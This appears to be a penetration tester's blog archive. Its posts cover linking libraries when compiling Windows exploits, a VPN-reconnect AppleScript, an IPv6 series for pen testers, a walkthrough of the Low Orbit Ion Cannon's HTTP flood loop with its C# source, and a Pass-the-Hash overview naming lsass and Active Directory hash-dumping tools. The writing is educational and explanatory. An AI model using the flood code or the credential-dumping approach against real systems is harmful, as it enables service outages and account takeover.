Screen Shot 2016-01-10 at 19.34.56

As I already said, we are missing an external library. Therefore we have to identify which one we need and then we have to tell CL.exe to link it. The easiest way to find the right library is to search for the MSDN function description of the first missing symbol. Quite on the bottom of the MSDN page you then find a section called “Requirements”. Within this section the parent library is listed:

Screen Shot 2016-01-10 at 20.58.38

So we already solved the first problem: We now know that closesocket is provided by Winsock2 (Ws_32.lib). To finally link Ws_32.lib we simply have to add the following #pragma comment preprocessor directive within the exploit’s source code:

#pragma comment(lib, "Ws2_32.lib")

Although it should not matter where in the code it is placed, for readability reasons I really recommend to add it at the top of the file. After that the modified exploit can be successfully compiled:

Screen Shot 2016-01-10 at 19.34.34

Some exploits also need to be linked to more than one library so you may have to repeat the explained process several times. Based on my experience the two most linked libraries within Windows exploits are Winsock2 (Ws2_32.lib) and the Windows User component (user32.lib). A good trick – although for sure not any kind of best practise – is to always add those two after encountering an unresolved external symbol without any further thought. It already saved me quite some time.

Aug 182015
 

1439896694_internet_earthIn the need for a simple and easy to use OS X based Always On VPN solution? If so, I may have something for you.

We are using a straight forward L2TP over IPSec VPN connection for connecting into our Pentesting lab. Beside giving me access to many of my most needed tools it also allows me to surf the web without any proxy or firewall limitation. As I encountered several VPN disconnects over my work day I decided to solve it once an forever by automatically reconnecting the VPN after a dropout.

To do so I wrote the following Apple Script based on this Apple Support Communities discussion.

global PING_HOST
global VPN_NAME

set PING_HOST to "vpn.example.com" # A host on the web to ensure the current connection is working at all
set VPN_NAME to "Your VPN" # The name of the VPN connection to dial (works with PPTP, L2TP over IPSec and Cisco IPSec)

on idle

	try
		# as the ping causes an exception if no response is received we only try to connect to the server if it's really reachable and thereby surpress error messages
		do shell script "ping -c 1 -W 500 " & PING_HOST

		tell application "System Events"
			tell current location of network preferences
				set myConnection to the service VPN_NAME
				if myConnection is not null then
					if current configuration of myConnection is not connected then
						connect myConnection
					end if
				end if
			end tell
		end tell

	end try

	return 2 # schedule to run again in two seconds
end idle

Simply save it as an application and check the box “Stay open after run handler”:
Screen Shot 2015-08-18 at 20.17.12
As long as the App it is running, your VPN connection will be redialed automatically. This small helper gained a permanent spot in my Dock!

PS: To give the App a nicer appearance you may want to change it’s icon to this free one. Here is a tutorial on how to do that.

Edit: Updated the code to use the “on idle” handler

Jul 262015
 

In this last part of the series IPv6 for pen testers we will now cover how address autoconfiguration works without the need for a central DHCP server. I really encourage you to read part 1, 2 and 3 of this series as they cover the IPv6 fundamentals needed to understand the following paragraphs.

In IPv4 a central DHCP server was used to autoconfigure the IP addresses and the standard gateways for all clients. In IPv6 however, routers advertise the on-link networks and the available routes on their own using multicast. That means that as soon as a new client is connected to a network, all the available routers advertise all the avilable network prefixes. The client then assigns itself an IPv6 address within each on-link network and adds all other prefixes to his routing table. The full IPv6 addresses for the on-link networks are created by appending the host portion as generated by the  EUI-64 algorithm as discussed in part 3 to the advertised network prefixes. We will now discuss this process in more detail with the help of the following image: 

In IPv6 all routers on a network join the so called All-Routers multicast address FF02::2. This group is then used to periodically advertise all available on-link network prefixes and all routable destinations. However as it takes up to two minutes to receive all information a recently booted system can trigger a full re-advertisement of all prefixes by sending a Router Solicitation message to the All-Routers multicast group. After that all routers directly reply with Router Advertisement messages with all on-link and all routable destinations. As already mentioned the client than adds a new IPv6 address for each prefix by appending its EUI-64 host ID. This process allows a client to join a network without any prior configuration.

If it is necessary to provide more information to the clients (like DNS servers) the special “Other configuration” bit can be set in the Router Advertisement message.  It indicates that other configuration information is available via DHCPv6. This type of DHCP server is called stateless because it only hand out static configuration and does not track its clients.

Beyond using Stateless Address Autoconfiguration (SLAAC), as this process is called, it is still possible to use a fully featured DHCPv6 server instead.

Router Advertisement Flood

A pen tester specific IPv6 technique was discovered by Sam Bowne, a well known IT security expert. He developed a Denial of Service exploit for all up-to-date operating systems (Linux, Windows and OS X) based on Router Advertisement messages. It works by flooding the network with new route advertisements that get processed by the attacked clients. During this processing the systems get practically unusable. Sam captured several videos to showcase the result of the flood on this website.

Further Reading

Before rounding this series up here are some references for your further reading:

Roundup

Although already standardized in 1998 IPv6 still has not fully reached the end customers. Only very few ISPs in Europe by default even provide IPv6 address to their customers and even less companies use IPv6 within their networks. However as IPv4 addresses will eventually run out in the not too distant future companies have to prepare their equitement and train their employees. This is especially important as virtually every new network component is IPv6 capable and most of them even have it pre-enabled. As we have learned in this series IPv6 introduces many new concepts and some of them can be misused. I currently advise everyone to disable the IPv6 stack on their network components if not used and I highly recommened companies to train their administrators so that they know how IPv6 works and what challenges it brings with it.

Jul 142015
 

Welcome back at part three of my blog post series about IPv6 for pen testers. In part 1 we already covered the advantages of IPv6 and how IPv6 addresses look like and in part 2 we discussed the three different IPv6 address types and how Link Local adresses are generated. I encourage you to read both posts before continuing as they cover the basics for this entry. We will now take a closer look at IPv6 multicast and how Layer 2 address discovery is implemented.

Multicast

Although already available in IPv4 almost nobody ever heard of multicast before. What it does is, it enables a one-to-many communication pattern on a network level. To do so, so called multicast groups are formed. These groups are basically special IP adresses within the so called IP multicast range (224.0.0.0/4 in IPv4 and ff00::/8 in IPv6). A client that is interested in joining the communication in such a group instructs the network to send this group specific communication to its network port. All clients that are not interested do not even receive the traffic as they did not join the group. If you are interested in what multicast groups a system is joined you can use the following commands:

Linux: netstat -g
Windows: netsh interface ipv6 show joins

With IPv6, multicast will be a fundamental part of every network  and will even replaced all broadcasts.  This is especially important as broadcasts have been a problem for years in large networks as they are sent so all systems in the whole network and thereby cause a lot of unnecessary network traffic. Furthermore every broadcast has to be processed by the end device and thereby wastes processing power.

Neighbour Discovery

However without broadcasts a problem arises: ARP the Address Resolution Protcol used for resolving IPv4 to MAC addresses and thereby enabling the necessary OSI Layer 2 communication can not be used anymore and a replacement has to be defined.

This replacement is called Neighbour Discovery (ND) and is built on ICMPv6 and IPv6 multicast. It works by sending a Neighbour Solicitation (NS) request to the address dependent Solicited-Node multicast address while listening for the correspoding Neighbour Advertisement (NA) answer. Before covering this process in detail here are the commands used for showing all known neighbours similar to the ARP table:

Linux: ip -6 neigh
Windows: netsh interface ipv6 show neighbors

Layer 2 Address Discovery

By enabling IPv6 and by configuring an address the system not only allows you to communicate using this address but also automatically joins two IPv6 multicast groups. The first is the already mentioned Solicited-Node multicast group. It is dynamically generated by taking the last 24 bits of the corresponding IPv6 address while prepeding the ff02::1:ff00:0/104 Solicited-Node multicast prefix. The second is the IPv6 All-Nodes multicast group ff02::1 that is joined by all IPv6 capable systems.

Now let us recap using an example: By setting up the IPv6 address 2000::9999:1111 on System A it will join the Solicited-Node multicast address ff02::1:ff99:1111 and the All-Nodes multicast address ff02::1.

If in turn System B wants to send data to System A (2000::9999:1111) it needs both the IPv6 address and the corresponding MAC address. To get the MAC address, it sends a Neighbour Solicitation (NS) message to the Solicited-Node multicast address ff02::1:ff99:1111. System A will reply with a Neighbour Advertisement (NA) containing its MAC directly to System B. After that System B has all the necessary information and can send data to System A. The image below illustrates the process.

Duplicate Address Detection

Beside the discovery of Layer 2 addresses this process is is also used to avoid address collisions. Before a new IPv6 address is assigned to an interface the systems sends a Neighbour Solicitation message to the corresponding Solicited-Node multicast address. However instead of using the interface’s IPv6 address – which has not been set up yet – the unspecified address :: is used instead. If the address is already in use the owner replies with a Neighbour Advertisement to the IPv6 All-Nodes multicast address and the setup process is aborted. If no answer is received within a given time frame it is assumes that no-one else is using it and the setup continues. This process is called Duplicate Address Detection (DAD).

Before summing up let us briefly cover a good trick that can be used by pen testers to detect all IPv6 capable devices. As we already discussed there is the All-Nodes IPv6 multicast group. In contrast to IPv4’s broadcast you can ping this group while getting a reply from all IPv6 devices on the network. This is a great way to find your targets! The following commands show how to ping the All-Nodes IPv6 group:

Linux: ping6 -I eth0 ff02::1
Windows: ping ff02::1

To summarize, we covered what IP multicast is and what it is used for. Furthermore we talked about IPv6’s ARP replacement namely Neighbour Discovery and how it works in detail. In the next and final part we will then cover how IPv6 Addresses are managed without the need for a DHCP service and why you still need one.

Jul 082015
 

Welcome to part two of my introduction to IPv6 for pen testers. If you did not read the first part I really encourage you to do so before reading any further. In the next paragraphs we will briefly discuss the different IPv6 address types and cover Link Local addresses in detail.

IPv6 Address Types

In IPv6 there are three different kinds of address:

  • Unicast: These addresses are used for direct one-to-one communication. There are global and local unique unicast and Link Local addresses. Global one’s are managed by IANA and right now all are within the 2000/3 network. Local one’s can be used within organisations to for example identify the location of a system and can either use the FC00/8 or FD00/8 network. Finally, Link Local one’s use the FE80/10 network and are only valid for the directly connected network segment. We will dicuss those shortly.
  • Multicast: These special reserved addresses in the FF00/8 network are used for one-to-many communication. IPv6 multicast completely replaced the need for broadcasts and are used extensivly during IPv6 operation.
  • Anycast: Any unicast address can be used for anycast as soon as it is assigned to multiple systems. Thereby a client automatically connects to the closest anycast server. This enables load balancing on the network layer.

A system in an IPv6 world will almost ever have multiple addresses assigned to its interfaces. For example as soon as IPv6 is used on an interface a Link Local address is generated and assigned, furthermore the network will provide one or more unicast addresses used for communicating with the outside world or the company network.

Link Local Addresses

We will now cover Link Local addresses in more detail. As already briefly discuessed they are automatically generated and are only valid for the directly connected network segment. Any device that claims to speaks IPv6 supports and uses them. As soon as a new device is connected it can be reached using its Link Local IPv6 address. The following steps (based on RFC2464) show how to generate the IPv6 Link Local address from a NIC’s MAC:

  1. Get the 48bit MAC address of the NIC
  2. Convert the MAC to binary and flip the 7th bit. This is necessary as in the MAC address if set, this bit identifies a locally administrated and thereby modified address. However in the desired EUI-64 format the bit is interpreted in the the exact opposite way, so that a set bit indicates a globally unique address as burned in by the manufacturer (again see RFC2464).
  3. In the middle of the MAC address with the already flipped bit add FFFE.
  4. Finally, the Link Local FE80 network prefix has to be prepended while filling everything in between with zeros so that a valid IPv6 address is generated.

The following example shows how to apply this algorithm:

1.) Get the MAC address:
a4:52:6f:44:7e:69 => a4526f447e69
2.) Convert the MAC to binary:
10100100 01010010 01101111 01000100 01111110 01101001
3.) Flip the 7th bit:
10100110 01010010 01101111 01000100 01111110 01101001 => a6526f447e69
4.) In the middle add FFFE
a6526fffee447e69
5.) Add the Link Local FE80 network prefix and generate final IPv6 address
fe80::a652:6fff:fe44:7e69

I covered this algorithm in that much detail because it is the first really interesting IPv6 aspect from a pen tester’s point of view. Many systems already have IPv6 preenabled however most administrators only block access using IPv4 firewalls. That means that it is always worth a try to check if a server offers more services using IPv6 than it does over IPv4. To do so you simply ping the server using IPv4 to get its MAC address cached in your ARP table. Then you apply the above algorithm to this MAC and voilá you now have the server’s Link Local IPv6 address ready to be scanned. As I was tired of repeating this steps over and over again a colleage and I wrote IPv4_to_IPv6_address_generator. It is a small python tool that simply automates the above steps and it works on Windows and Linux.

After all that hard work of generating the Link Local IPv6 address we can now connect to the network and the device is ready to be used. If you are interesting if your computer already has IPv6 enabled just use one of the following commands. They will list all your currently assigned IPv6 addresses:

Linux: ip -6 addr
Windows: netsh interface ipv6 show addresses

Summing up we discussed the different IPv6 address types and generated a Link Local address from a NIC’s MAC. In the next post of this series we will take a closer look on IPv6 multicast and why it will completely replace broadcasts. Furthermore we will discuss how Layer 2 address discovery works with IPv6.

Jul 012015
 

Due to the shortage of IPv4 addresses IPv6 has been developed. It is the successor protocol that will be used in parallel to IPv4 to drive the Internet’s underlying infrastructure. In this series of four blog posts I will give a general introduction to the most important aspects of IPv6 with a focus on the pen tester’s point of view. Be aware that this series is about the fundamentals and thereby does not cover all the dirty little details.

In part 1 we will cover IPv6 in general and how an IPv6 address look like.

IPv6 Overview

The easiest to spot change is that the IPv6 addresses are a lot longer than its IPv4 siblings. The additional bits increases the available address space and thereby allow us to address a lot more devices. Here are the numbers:

  • IPv4 address: 32bit (4294967296 available IP addresses)
  • IPv6 address: 128bit (340282366920938463463374607431768211456 available IP addresses – And yes, every single atom on the earth surface can be addressed with IPv6. You can even assign more than 100 addresses to each one – Reference)

Furthermore IPv6 has many great features built in like:

  • Mobility (you always use the same IP address wherever you are)
  • Security (IPsec is built in)
  • It eliminates the need to use NAT

Now let’s take a more close look at how an IPv6 address looks like:

How does an IPv6 address look like

Here is an IPv6 address in its full glory: fe80:0000:0000:0000:02aa:00ff:fe28:9c5a/64

As you can clearly see, IPv6 addresses are not as easy to write and remember as IPv4 addresses. They are composed of 8 sections each representing 16bits of the full 128bit address space written in hexadecimal notation. Furthermore it is compose of two parts: the network portion and the host portion. The network portion is defined using the CIDR notation (/64 in the above example) and is used for traffic routing. To make it a bit easier for us humans, there are three tricks that can be applied to make the address a little easier to handle:

  1. The first thing you need to know is that is does not matter if you use lower case or capital letters. You can even mix case if you like to. That means that the following examples are valid addresses and all three represent the same host:
    Example 1: fe80:0000:0000:0000:02aa:00ff:fe28:9c5a
    Example 2: FE80:0000:0000:0000:02AA:00FF:FE28:9C5A
    Example 3: Fe80:0000:0000:0000:02Aa:00fF:fE28:9c5A
    
  2. Secondly, leading zeros can be removed for each section. However be aware that if a section contains only zeros at least one has to remain. Again the following examples are valid addresses for the same host:
    Example 1: fe80:0000:0000:0000:02aa:00ff:fe28:9c5a
    Example 2: fe80:0:0:0:02aa:00ff:fe28:9c5a
    Example 3: fe80:0:0:0:2aa:ff:fe28:9c5a
    
  3. 3) Finally, rule number three allows you to replace consecutive sections of zeros with ::. However be aware that this is allowed only once. While parsing the address the computer knows that IPv6 addresses always have to have eight sections and simply replaces the :: with the correct number of sections filled with zeros. The following examples illustrate the process:
    Example 1: fe80:0:0:0:2aa:ff:fe28:9c5a => fe80::2aa:ff:fe28:9c5a
    Example 1: 2000:0:0:0:111:ffdc:0:8f21 => 2000::111:ffdc:0:8f21
    

In this post we discussed some advantages of IPv6, how addresses look like and what tricks can be used to shorten them. In the next one we will take a closer look at the different addresse types and IPv6 Link Local addresses.

May 272015
 

Recently our team was tasked with creating a demo to illustrate the effects of Denial of Service (DoS) attacks. As I was particularly interested in how the available attack tools work I studied the sourcecode of one of them – the Low Orbit Ion Cannon. In this post is will cover the surpising simplicity of the implementation. However to get a context let’s start first  with discussing how DoS attacks generally work, illustrated on the basis of the following setup:

dos (1)

In our simple demo network there are only three participants: A central webserver as victim, a legitimate user that wants to connect to the webserver and an attacker. In the beginning the legitimate user can browse the webpage hosted on the webserver smoothly. However as soon as the attacker starts his DoS attack the legitimate user’s requests either take very long to finish or even fail completely. This instability is caused by the attack overloading either the webserver’s connection or the server process itself.

One tool an attacker could use for these kind of attack is the free and open source Low Orbit Ion Cannon. It is a very easy to use application with a nice graphical user interface. The video embedded below contains a short walk though.

Now let’s get our hands dirty: To find out how the application attacks the victim’s server in detail we have to download and analyse the source. Below is a cleaned up and simplified version of the method responsible for carrying out the actual HTTP Denial of Service attack.

byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, Environment.NewLine));
var host = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);

while (this.IsFlooding) {
	byte[] recvBuf = new byte[64];
	var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

	socket.Connect(host);
	socket.Send(buf, SocketFlags.None);

	socket.Receive(recvBuf, 64, SocketFlags.None);
}

To my surprise the method was a lot shorter and less complex than I expected. I will now try to walk you trough the functionality so that you also understand what is going on even if you are not a developer .

In the first two lines the application prepares the attack’s underlying HTTP request and sets the target IP address and the target port. Although it’s done in an rather unusual way it’s a legitimate implementation for an application requesting data from an external HTTP service. In the following third line the while command tells the system to repeat all enclosed and indented further commands. Within this section the actual attack is launched. However to do so two more things need to be prepared: At first in line 5 a buffer called recvBuf is created that is used to store the subsequential answer from the victim and in line 6 further connection details like the use of the TCP protocol are specified. Finally in line 8 the network connection to the victim’s server is established and in line 9 the HTTP request that was created in the beginning is sent. The subsequent receive method call in line 10 stores the first 64 byte of the server’s reply in the previously created receive buffer recvBuf. This forces the application to wait for the server to reply before it moves on. Until now we behaved like a normal web browser. However as the last command within the while loop was reached the whole process beginning at line 5 is repeated. Again and again and again …

What that means is we didn’t really use any service and just created unnecessary load on the server and the network connection. As the attack requests are generally repeated as fast as possible and are executed in parallel this load can render services unusable or even bring them down completely. This is especially true for Distributed Denial of Service (DDoS) attacks where many attackers or their bots join forces to attack a target as happend to the Playstation Network in 2014.

To recap: The sourcecode contains no nasty little tricks or algorithms that require any special knowledge. That means you don’t need to be a genius to write an effective and widely used Denial of Service attack tool. For me that is somewhat frightening!

May 122015
 

The first and most important thing you need to know about the Pass the Hash (PtH) attack is, that it is not a single attack but actually a whole group of attacks that should correctly be called Pass the X. In any of these, the attacker obtained some kind of user identifying information (like the plaintext user password, a password hash or a Kerberos ticket) and uses them to impersonate as that user. This post focuses on the NTLM hash and the Kerberos tickets as they are the most interesting one’s from the Pass the X’s point of view. This attack is possible not because of a security vulnerability or design issue but because of the infrastructure necessary to enable single sign on (SSO). Although it can be used on any operating system and any version, Windows networks are the primary target.

At TechEd North America 2014 Mark Russinovich and Nathal Ide gave a great talk on the technical background of Pass the Hash styled attacks. It’s available on Youtube and I really encourage you to watch it.

In the following paragraphs I will try to give an overview about the different Pass the Hash attacks and scenarios. However this is not a tutorial and so I will not document the specific commands. Please see the section “Your Toolbox” for further details, tutorials and the necessary tools.

Where To Obtaining User Identifying Information From?

Before an attacker can start a Pass the X attack he has to obtain something to pass along. There are two ways to do so. Either he gains local administrator rights on a client and dumps the hashes of all currently logged in users from the so called Local Security Authority or he gains access to a Domain Controller and dumps possibly all user hashes from the AD.

Dumping from a Client

Let’s start with the somewhat less severe scenario of a client overtaken by an attacker with access to a local administrator. In Windows the Local Security Authority or lsass.exe is the process responsible for enforcing the security policy on the system. Furthermore it is also responsible for transparently authorizing the users to the services they want to use. For example if a user connects to a file server the system negotiates the protocol to use and the Local Security Authority transparently tries to sign the user in. It supports many different protocols like NTLM, Digest and Kerberos and it can also be extended by plugins.

The important thing is that depending on the protocol, the system has to cache a varied of user identifying data in order to successfully reauthorize the user. For example the Digest module needs to cache the user password in reversible encrypted form. An attacker can use any of this user idenfitiying information for this Pass the X attack.

2015-04-27_16h02_07

With that knowledge any local administrator can dump the memory of the lsass process (with for example mimikatzWCE or Task Manager’s Create Dump File) and thereby obtains the cached user identifying information of all currently signed in users. Depending on the enabled modules this at least reveals some password hashes but it might also already dump their plaintext password.

Dumping from Active Directory

The second way of dumping user identifing information can only be used by an attacker that already gained access to a Domain Controller. There he can dump the LM and/or the NTLM hashes of all users as they are stored in the Active Directory. Again it does not really matter which one he captures as both can be misused.

You may ask why an attacker with Domain Admin access still leverages Pass the Hash styled attacks? Well, it allows him to impersonate as any user on the domain without knowing or resetting the user password. Thereby he can easily access the user’s Exchange and Sharepoint account as well as connect to any file share the user has access to. This approach is especially great when giving presentations to C level executives. They may not care about an attacker being Domain Admin but they will care for sure if it allows them to access their mailbox or calendar.

2015-04-29_09h11_06

As it is a little more complex to dump the hashes out of the Active Directory I will cover this process briefly. Generally there are two steps: At first an attacker creates an offline copy of the registry and the AD. This can be done with the help of ntdsutil and VSS. Then he moves the files off the Domain Controller to his local machine. There he uses a tool like secretsdump to extract the hashes as shown in the picture above.

Using the Hashes

Although you already know that the hashes allow an attacker to impersonate as that owner of the hash, we will now cover this is more detail. If you are interested in a live demonstration I recommend you to watch the first 26 minutes of the talk “Still Passing the Hash 15 Years Later” from Black Hat USA 2012.

As discussed in the beginning the Local Security Authority is responsible for caching the user identifying information. To use the stolen hashes an attacker now simply replaces the user identifying information within the lsass.exe process on his own computer (again with for example mimikatz or WCE) with a stolen one. From the network’s point of view he thereby basically transformed his account to someone else’s. Mark Russinovich and Nathal Ide also talk about this process in their presentation “Pass-the-Hash: How Attackers Spread and How to Stop Them” starting at minute 7:10.

By doing so he also gains the single sign on (SSO) capabilities of the original account because the is what the hashes are intended for. That in turn allows him to use any service and application that builds upon the Windows Integrated Authentication including but not limited to:

  • Microsoft Exchange
  • SMB Filesharing (NTLM authentication over IP, Kerberos authentication over DNS)
  • Microsoft SQL Server
  • Microsoft Navision
  • Microsoft Sharepoint
  • Many business critical web applications
  • Any SAP Application

Again: By replacing the information within the Local Security Authority the attacker changed his identity to someone else’s without knowing the corresponding password. He can use any service the rightful account holder could use as long as it supports single sign on. This also works for accounts that use a two factor authentication like a smartcard as they still rely on the same single sign on infrastructur.

The Golden Ticket

A special case I want to highlight is the Golden Ticket attack. If an attacker obtained the NTLM hash of the KRBTGT domain account he can create a so called Golden Ticket. This is nothing else than a valid self created Kerberos Ticket Granting Ticket (TGT). With that ticket it is not only possible to impersonate as some else but it is also possible to authorise yourself. It is basically an attackers dream. The video below shows that attack in action.

Final Thoughts

For an attacker or pentester Pash the Hash styled attacks are a very valueable attack vector. Virtually all companies are prone to it as single sign on is used by many of the most business critical applications. Furthermore it often allows an attacker to rapidly elevate his priviledges after obtaining initial access to a low profile client.

Although Microsoft already actively participates in the ongoing debate about Pass the Hash it is still a long road before all organisations understand the associated risks. I have commited myself to actively point people to Microsoft’s Pass-the-Hash portal so that the words spreads a little faster.

If you have any questions or additional input please leave a comment below.

Your Toolbox

Finally here is a list of applications and the corresponding documentation for your further reading. All this links really helped me to deeply understand Pass the Hash styled attacks and to write this summary. Hereby I want to thank all the authors for their great job!

Applications

General Documentation

mimikatz Specific Documentation